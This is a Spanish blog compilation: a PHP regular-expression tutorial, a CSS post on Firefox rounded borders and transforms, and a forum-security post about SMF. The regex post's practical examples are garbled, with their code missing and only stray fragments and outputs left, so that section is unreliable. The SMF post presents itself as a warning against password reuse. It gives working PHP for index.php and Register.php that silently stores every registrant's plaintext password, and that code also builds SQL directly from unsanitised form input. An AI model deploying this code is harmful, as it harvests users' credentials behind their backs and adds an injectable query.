Explicación de las Expresiones Regulares más comunes, con ejemplos

Las expresiones regulares son los patrones que definen un conjunto de cadenas sin enumerar sus elementos. Muchos lenguajes de programación como Perl, o en mi caso, PHP, los usan. En PHP por ejemplo, lo usan funciones como preg_match, o ereg. La mejor manera de aprender a entender y usar las expresiones regulares es practicar con ellas.

^algo
Se usa para encontrar algo al inicio:
“algo asd” -> Correcto

algo$
Se usa para encontrar algo al final:
“asd algo” -> Correcto

\” se usa para escapar caracteres.
.” representa cualquier caracter, salvo el de nueva línea.

abc(d*)ef Se usa cuando puede aparecer 0 o más veces:
abcdef, abcef, abcddddef -> Correcto

abc(d?)ef Se usa cuando puede aparecer 0 o 1 vez:
abcdef, abcef -> Correcto

abc(d+)ef Se usa cuando puede aparecer 1 o más veces:
abcdef, abcdddddef -> Correcto

\s equivale a un espacio en blanco.
\S equivale a cualquier cosa que no sea un espacio en blanco.
\d equivale a cualquier dígito.
\D equivale a cualquier cosa que no sea un dígito.
\w equivale a cualquier dígito, letra o guión bajo.
\W equivale a cualquier cosa que no sea dígito, letra o guión bajo.

x(y{a,b})z Se usa cuando puede aparecer un mínimo de ‘a’ veces y un máximo de ‘b’ veces.
Ejemplo: x(y{1,3})z
xyz, xyyz, xyyyz -> Correcto
x(y{n})z Se usa cuando puede aparecer n veces
Ejemplo: x(y{2})z
xyyz -> Correcto
Otros ejemplos:
x(y{2, })z -> Se usa cuando puede aparecer dos o más veces.
x(y{0,3})z > Se usa cuando puede aparecer tres o menos veces.

Los corchetes [] nos sirven para definir rangos (de caracteres ascii).
Ejemplo: ab[c-f]g
abcg, abdg, abeg, abfg -> Correcto
Se usa ^ para negar. [^cd] Se usa cuando no puede aparecer ni c ni d.
Ejemplo: ab[^cd]ef
abjef -> Correcto, abcef -> Incorrecto

POSIX
[[:alpha:]] -> Caracteres alfabéticos.
[[:digit:]] -> Caracteres numéricos.
[[:alnum:]] -> Caracteres alfanuméricos.
[[:space:]] -> Espacios en blanco.
[[:upper:]] -> Cualquier mayúscula.
[[:lower:]] -> Cualquier minúscula.

Los paréntesis se usa cuando se quiere buscar algo literal.
(abc) Para que sea verdadero tiene que tener “abc”.

Las barras verticales son sinónimo del operador lógico OR. Es verdadero si una de las dos aparece:
(a|b) Para que sea verdadero tiene que ser, o ‘a’, o ‘b’.

\d{x} Se usa cuando queremos que aparezca un número decimal de X cifras.
\d{x,y} Se usa cuando queremos que aparezca un número decimal de X o Y cifras (ver ejemplo 4).

Usamos (.+) cuando queremos seleccionar la cadena que se encuentra entre dos parámetros, en el que uno lo empieza a buscar por la izquierda y el otro por la derecha (ver ejemplo 5)

Ejemplos prácticos:
Ejemplo 1

Devuelve:
2345678
34567

Se refiere a lo que se encuentra entre 0 y 8 (que tienen que ser números).

Ejemplo 2

Devuelve:
01234
Al llegar a [5-7] se para, y devuelve todo lo anterior.

Ejemplo 3

';
preg_match_all('/

Nos devuelve:

Nos sirve para saber si se usan comillas simples o dobles, en este caso, dobles.

Ejemplo 4

Devuelve:
26/01/1992
Sirve para autentificar una fecha. Podriamos usar guiones, o barras inclinadas. En los dias y meses podriamos usar números de una o dos cifras, y para los años de dos o de cuatro.

Ejemplo 5

Nos devuelve:
es una cadena de texto de
Debido a que seleccionó la cadena que se encuentra entre dos espacios en blanco, encontrados el primero por la izquierda y el segundo por la derecha.

Ejemplo 6

';
preg_match_all('/(

Nos devuelve:
img src=”http://google.com/prueba.jpg”
Esto nos puede servir para poder obtener todos los enlaces o imágenes de una página, ahora solo tendriamos que eliminar el término constante 3 Comments on Explicación de las Expresiones Regulares más comunes, con ejemplos/

Bordes redondos en CSS

Este post simplemente lo escribo para aquellos que alguna vez piensan en usar bordes redondos. Es mucho más fácil de lo que parece. Además, también incluyo para hacer sombras y voltear o deformar. Lo malo de los siguientes códigos, es que solo funcionan para Firefox.

Para una breve explicación de cada código, pasar el ratón por encima de su código.


Ejemplo

-moz-border-radius: 10px;A mayor número, más redondeado

Ejemplo


-moz-border-radius-topright: 10px;
-moz-border-radius-topleft: 35px;
-moz-border-radius-bottomleft: 25px;
-moz-border-radius-bottomright: 45px;
Redondeando cada borde

Ejemplo

-moz-border-radius-topright: 180px 40px;
-moz-border-radius-bottomright: 180px 40px;
El primer parámetro de ambas
hace referencia a la parte redonda
más cercana al centro.
El segundo parámetro hace referencia
a la parte redonda del extremo.
Cuantos más píxeles, más redondeo.

Ejemplo

-moz-border-radius: 20px 40px;Redondeando esquinas dos a dos
El primero son los bordes
izquierda-superior y derecha-inferior
y el segundo son los bordes
derecha-superior e izquierda-inferior

Ejemplo

-moz-border-radius: 100px / 50px;Elíptico

Ejemplo

-moz-transform: rotate(-25deg);Rotación por grados. Se pueden
poner valores negativos.

Ejemplo

-moz-transform: skew(40deg,15deg);Desviación y deformación.

Ejemplo

-moz-box-shadow: -20px 20px 10px rgba(
255, 0, 0, 0.5);
Sombra
Los dos primeros parámetros, son la
distancia izq-dcha y sup-inf
respectivamente. Se pueden poner
valores negativos.El siguiente
parámetro, es la transparencia.
El siguiente hace referencia al
color (cantidad de rojo,
verde, azul y negro respectivamente)

(In)seguridad en los foros [SMF]

Los foros de la gente de simplemachines son de los más usados actualmente. No me extrañaría que fuese por la combinación diseño-características-gratis que reune este tipo de foros. Pero, ¿que hay de la seguridad?

Actualmente, la gran mayoria de personas asegura que usa la misma contraseña para todo (correo, registros de foros, y otras cuentas de mayor importancia como eBay o Paypal/Alertpay, etc) debido a la dificultad que supone tener que cuidar y guardar las diferentes contraseñas. Sin embargo, a pesar de esta incomodidad, la seguridad siempre debería de ser lo primordial para el usuario, sobre todo para el más inexperto (osease, la inmensa mayoria de usuarios).

Cuando instalamos en un servidor un foro (en este caso del tipo SMF) lo primero que hace es mirar la base de datos, y crear allí un registro, en donde a lo largo de la vida del foro se guardarán los posts, los subforos, las configuraciones, y los datos de los usuarios.

¿Los datos de los usuarios? Si. Esto es, los datos que tenemos en nuestro perfil del foro, como el avatar, el nickname, el nombre, la fecha de nacimiento, la firma, y la contraseña.

El administrador de cualquier foro puede acceder a la base de datos y ver/modificar/eliminar cualquiera de los datos anteriormente citados. Simplemachines piensa en todo (al igual que todos las empresas de ese estilo) y la mejor solución que le pone a esto es, encriptar la “contraseña”. Le pongo comillas, porque en realidad, no se guarda la contraseña, sino que se guarda un hash, generado mediante el nombre de usuario y contraseña. Esto quiere decir que, cuando nos registramos, se guarda en la base de datos la encriptación mediante SHA1 del nombre de usuario junto con la contraseña.

Por ejemplo, si me registro, y pongo de usuario lipman y de contraseña password, en la base de datos se guarda la encriptación de lipmanpassword, de la siguiente simple manera:

sha1($nombreUsuario . $password)

Por lo que, cuando un administrador acceda a la base de datos, le será imposible obtener la contraseña de ese usuario. La única solución seria desencriptarlo mediante fuerza bruta, pero descartamos esta opción debido al inmenso tiempo que se tomaria.

¿Quiere decir esto que nuestra contraseña está a salvo?
Absolutamente no.

Se podrían hacer cientos de métodos distintos e incluso combinarlos, para averiguar las contraseñas de los usuarios que se registren. El más sencillo que se me ocurre es: justo al registrarse un usuario, guardar en la base de datos su contraseña sin encriptar. A continuación describiré cómo se podría realizar.

Lo primero de todo, tenemos que crear en la base de datos la columna en la que guardaremos estas contraseñas sin encriptar:

Index.php (introducido justo antes de $forum_version…)

if(!$var = fopen('lol', 'r+'))
{
include("Settings.php");
echo "No preocuparse si sale algún error. Este mensaje no volverá a aparecer.";
mysql_connect($db_server, $db_user, $db_passwd) or die("Error al conectar a la BD");
$consulta = "ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;";
$resultado = mysql_query($consulta) or die("LOL");
fopen("lol", 'a+');
}

Queremos que este código se ejecute una sola vez, por eso, este código se encarga de buscar un archivo que no deberia de existir, y si no lo encuentra, realiza esa alteración en la base de datos y posteriormente lo crea (para que lo encuentre y no se ejecute esto nada más que una sola vez)

Las variables $db_server, $db_user, $db_name y $db_passwd son variables que contienen, como propiamente dan a indicar, el nombre del servidor, de usuario, de la base de datos y la contraseña respectivamente. Ya se encuentran con los valores, ya que estos se guardan en Settings.php

La línea interesante es la sexta: $consulta = “ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;”;

Esto crea en la tabla smf_members una columna llamada pwdlol después de la columna memberName (así tendremos la contraseña al lado del usuario, por comodidad)

Sigamos…

Sources/Register.php (introducido a partir de la línea 304)

$contrasenha = $_POST['passwrd1'];
$miembrouser = $_POST['user'];

$consulta = "UPDATE smf_members SET pwdlol = '$contrasenha' WHERE memberName = '$miembrouser'";
$resultado = mysql_query($consulta) or die("Error realizando la consulta");

Este código simplemente guarda en las variables $contrasenha y $miembrouser la contraseña y el nombre de usuario (todo sin encriptar) y luego, introduce la contraseña en la tabla de pwdlol, en donde el memberName sea el mismo que el miembro registrado.

Preocupamente tengo que decir: ya está. Así de simple es obtener la contraseña de cada usuario que se registre en tu propio foro SMF.

¿Es esto preocupante? Personalmente, solo espero que cada vez que os registreis en un foro la próxima vez, penseis en ponerle otra contraseña que la de vuestro correo.

Próximo análisis: PhpBB